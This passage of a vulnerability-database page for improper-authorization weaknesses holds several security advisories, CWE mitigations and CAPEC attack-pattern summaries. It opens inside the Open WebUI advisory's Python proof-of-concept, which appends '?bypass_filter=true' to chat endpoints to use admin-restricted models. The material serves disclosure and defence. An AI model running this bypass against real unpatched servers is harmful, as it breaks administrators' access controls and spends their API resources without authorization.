sys.exit(1)\n\n models = r.json()\n if isinstance(models, dict):\n models = models.get(\"data\", models.get(\"models\", []))\n\n restricted_model_id = None\n base_model_id = None\n for m in models:\n info = m.get(\"info\", {})\n if not info:\n continue\n access_grants = info.get(\"access_grants\", None)\n if access_grants is not None and len(access_grants) == 0 and info.get(\"base_model_id\"):\n restricted_model_id = m[\"id\"]\n base_model_id = info.get(\"base_model_id\")\n print(f\"[+] Found restricted model: {restricted_model_id} (base: {base_model_id})\")\n break\n\n if not restricted_model_id:\n print(\"[-] No restricted model found.\")\n sys.exit(1)\n\n headers = {\"Authorization\": f\"Bearer {attacker_token}\"}\n payload = {\n \"model\": restricted_model_id,\n \"messages\": [{\"role\": \"user\", \"content\": \"Say exactly: BYPASS_CONFIRMED\"}],\n \"stream\": False,\n }\n\n # \u2500\u2500 Step 3: Confirm access is denied on /openai/chat/completions \u2500\u2500\n print(f\"\\n[*] Step 1: POST /openai/chat/completions (no bypass) with model \u0027{restricted_model_id}\u0027...\")\n r = requests.post(f\"{base}/openai/chat/completions\", headers=headers, json=payload)\n print(f\" Response: {r.status_code} {r.text[:200]}\")\n\n if r.status_code == 403:\n print(\"[+] Access correctly DENIED (403) \u2014 attacker cannot use the restricted model\")\n else:\n print(f\"[!] Unexpected response code {r.status_code} (expected 403)\")\n\n # \u2500\u2500 Step 4: Bypass with ?bypass_filter=true on OpenAI endpoint \u2500\u2500\n print(f\"\\n[*] Step 2: POST /openai/chat/completions?bypass_filter=true ...\")\n r = requests.post(f\"{base}/openai/chat/completions\",\n headers=headers, json=payload,\n params={\"bypass_filter\": \"true\"})\n print(f\" Response: {r.status_code} {r.text[:300]}\")\n\n openai_bypassed = r.status_code != 403\n\n if openai_bypassed:\n print(f\"[+] OpenAI endpoint: ACL BYPASSED (got {r.status_code} instead of 403)\")\n else:\n print(f\"[-] OpenAI endpoint: bypass did not work (still 403)\")\n\n # \u2500\u2500 Step 5: Also test Ollama endpoint \u2500\u2500\n print(f\"\\n[*] Step 3: POST /ollama/api/chat?bypass_filter=true ...\")\n ollama_payload = {\n \"model\": restricted_model_id,\n \"messages\": [{\"role\": \"user\", \"content\": \"Say exactly: BYPASS_CONFIRMED\"}],\n \"stream\": False,\n }\n r_normal = requests.post(f\"{base}/ollama/api/chat\", headers=headers, json=ollama_payload)\n print(f\" Without bypass: {r_normal.status_code} {r_normal.text[:150]}\")\n\n r_bypass = requests.post(f\"{base}/ollama/api/chat\", headers=headers, json=ollama_payload,\n params={\"bypass_filter\": \"true\"})\n print(f\" With bypass: {r_bypass.status_code} {r_bypass.text[:150]}\")\n\n ollama_bypassed = r_normal.status_code == 403 and r_bypass.status_code != 403\n\n if ollama_bypassed:\n print(f\"[+] Ollama endpoint: ACL BYPASSED ({r_normal.status_code} \u2192 {r_bypass.status_code})\")\n elif r_bypass.status_code != 403:\n print(f\"[+] Ollama endpoint: bypass_filter accepted (status {r_bypass.status_code})\")\n ollama_bypassed = True\n else:\n print(f\"[-] Ollama endpoint: bypass did not work\")\n\n # \u2500\u2500 Results \u2500\u2500\n if openai_bypassed or ollama_bypassed:\n print(f\"\\n[+] SUCCESS: bypass_filter query parameter bypasses model access control!\")\n print(f\" OpenAI endpoint (/openai/chat/completions): {\u0027BYPASSED\u0027 if openai_bypassed else \u0027not bypassed\u0027}\")\n print(f\" Ollama endpoint (/ollama/api/chat): {\u0027BYPASSED\u0027 if ollama_bypassed else \u0027not bypassed\u0027}\")\n print(f\"\")\n print(f\" Any authenticated user can append ?bypass_filter=true to skip\")\n print(f\" check_model_access() and use admin-restricted models via the\")\n print(f\" server\u0027s own API keys.\")\n sys.exit(0)\n else:\n print(f\"\\n[-] FAILED: bypass_filter did not bypass access control on either endpoint\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n\n### Impact\n\nAny authenticated user (including those with the lowest \"user\" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin\u0027s ability to restrict which models are available to which users \u2014 for example, limiting expensive models to specific teams or keeping certain models internal-only.\n\n\n## Resolution\n\nFixed in commit [c0385f60b](https://github.com/open-webui/open-webui/commit/c0385f60ba049da48d2d5452068586d375303c37), first released in **v0.8.11** (Mar 2026) \u2014 one day after this report.\n\n`bypass_filter` is no longer a function parameter on either route handler. Both `routers/openai.py` and `routers/ollama.py` now read it via `getattr(request.state, \u0027bypass_filter\u0027, False)`. Because `request.state` can only be populated by server-side code in the same process (typically `utils/chat.py` when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending `?bypass_filter=true` to the URL has no effect \u2014 the query parameter is now silently ignored by FastAPI since it doesn\u0027t bind to any handler argument.\n\nUsers on `\u003e= 0.8.11` are not affected.",
"id": "GHSA-v6qf-75pr-p96m",
"modified": "2026-05-19T16:00:05Z",
"published": "2026-05-14T20:25:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-v6qf-75pr-p96m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45365"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/c0385f60ba049da48d2d5452068586d375303c37"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.8.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Authenticated users can bypass model access control via exposed query parameter [AI-ASSISTED]"
}
GHSA-V6WM-CWM9-2486
Vulnerability from github – Published: 2024-04-10 18:30 – Updated: 2024-04-15 18:30lunary-ai/lunary version 1.0.1 is vulnerable to improper authorization, allowing removed members to read, create, modify, and delete prompt templates using an old authorization token. Despite being removed from an organization, these members can still perform operations on prompt templates by sending HTTP requests with their previously captured authorization token. This issue exposes organizations to unauthorized access and manipulation of sensitive template data.
{
"affected": [],
"aliases": [
"CVE-2024-1741"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-10T17:15:53Z",
"severity": "CRITICAL"
},
"details": "lunary-ai/lunary version 1.0.1 is vulnerable to improper authorization, allowing removed members to read, create, modify, and delete prompt templates using an old authorization token. Despite being removed from an organization, these members can still perform operations on prompt templates by sending HTTP requests with their previously captured authorization token. This issue exposes organizations to unauthorized access and manipulation of sensitive template data.",
"id": "GHSA-v6wm-cwm9-2486",
"modified": "2024-04-15T18:30:50Z",
"published": "2024-04-10T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1741"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/d8e2e73efd53ab4e92cf47bbf4b639a9f08853d2"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/671bd040-1cc5-4227-8182-5904e9c5ed3b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V773-R54F-Q32W
Vulnerability from github – Published: 2026-02-18 00:51 – Updated: 2026-03-10 18:42Summary
When Slack DMs are configured with dmPolicy=open, the Slack slash-command handler incorrectly treated any DM sender as command-authorized. This allowed any Slack user who could DM the bot to execute privileged slash commands via DM, bypassing intended allowlist/access-group restrictions.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.2.13 - Affected configuration: Slack DMs enabled with
channels.slack.dm.policy: open(akadmPolicy=open)
Impact
Any Slack user in the workspace who can DM the bot could invoke privileged slash commands via DM.
Fix
The slash-command path now computes CommandAuthorized for DMs using the same allowlist/access-group gating logic as other inbound paths.
Fix commit(s): - f19eabee54c49e9a2e264b4965edf28a2f92e657
Release Process Note
patched_versions is set to the planned next release (2026.2.14). Once that npm release is published, this advisory should be published.
Thanks @christos-eth for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28392"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T00:51:03Z",
"nvd_published_at": "2026-03-05T22:16:15Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen Slack DMs are configured with `dmPolicy=open`, the Slack slash-command handler incorrectly treated any DM sender as command-authorized. This allowed any Slack user who could DM the bot to execute privileged slash commands via DM, bypassing intended allowlist/access-group restrictions.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.13`\n- Affected configuration: Slack DMs enabled with `channels.slack.dm.policy: open` (aka `dmPolicy=open`)\n\n## Impact\n\nAny Slack user in the workspace who can DM the bot could invoke privileged slash commands via DM.\n\n## Fix\n\nThe slash-command path now computes `CommandAuthorized` for DMs using the same allowlist/access-group gating logic as other inbound paths.\n\nFix commit(s):\n- f19eabee54c49e9a2e264b4965edf28a2f92e657\n\n## Release Process Note\n\n`patched_versions` is set to the planned next release (`2026.2.14`). Once that npm release is published, this advisory should be published.\n\nThanks @christos-eth for reporting.",
"id": "GHSA-v773-r54f-q32w",
"modified": "2026-03-10T18:42:17Z",
"published": "2026-02-18T00:51:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-v773-r54f-q32w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28392"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/f19eabee54c49e9a2e264b4965edf28a2f92e657"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-privilege-escalation-in-slack-slash-command-handler-via-direct-messages"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw Slack: dmPolicy=open allowed any DM sender to run privileged slash commands"
}
GHSA-V778-237X-GJRC
Vulnerability from github – Published: 2024-12-11 22:03 – Updated: 2025-01-31 15:30Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.
The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.
For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.
Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.
Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "golang.org/x/crypto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45337"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-11T22:03:04Z",
"nvd_published_at": "2024-12-12T02:02:07Z",
"severity": "CRITICAL"
},
"details": "Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.\n\nThe documentation for ServerConfig.PublicKeyCallback says that \"A call to this function does not guarantee that the key offered is in fact used to authenticate.\" Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.\n\nFor example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.\n\nSince this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.\n\nUsers should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.",
"id": "GHSA-v778-237x-gjrc",
"modified": "2025-01-31T15:30:43Z",
"published": "2024-12-11T22:03:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45337"
},
{
"type": "WEB",
"url": "https://github.com/golang/crypto/commit/b4f1988a35dee11ec3e05d6bf3e90b695fbd8909"
},
{
"type": "PACKAGE",
"url": "https://github.com/golang/crypto"
},
{
"type": "WEB",
"url": "https://go.dev/cl/635315"
},
{
"type": "WEB",
"url": "https://go.dev/issue/70779"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/-nPEi39gI4Q/m/cGVPJCqdAQAJ"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-3321"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250131-0007"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/12/11/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Misuse of ServerConfig.PublicKeyCallback may cause authorization bypass in golang.org/x/crypto"
}
GHSA-V7JC-5V4J-WVQH
Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-04-04 01:03Object lifecycle issue in Blink in Google Chrome prior to 69.0.3497.81 allowed a remote attacker to bypass content security policy via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2018-16077"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-27T17:15:00Z",
"severity": "MODERATE"
},
"details": "Object lifecycle issue in Blink in Google Chrome prior to 69.0.3497.81 allowed a remote attacker to bypass content security policy via a crafted HTML page.",
"id": "GHSA-v7jc-5v4j-wvqh",
"modified": "2024-04-04T01:03:52Z",
"published": "2022-05-24T16:48:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16077"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2018/09/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://crbug.com/377995"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.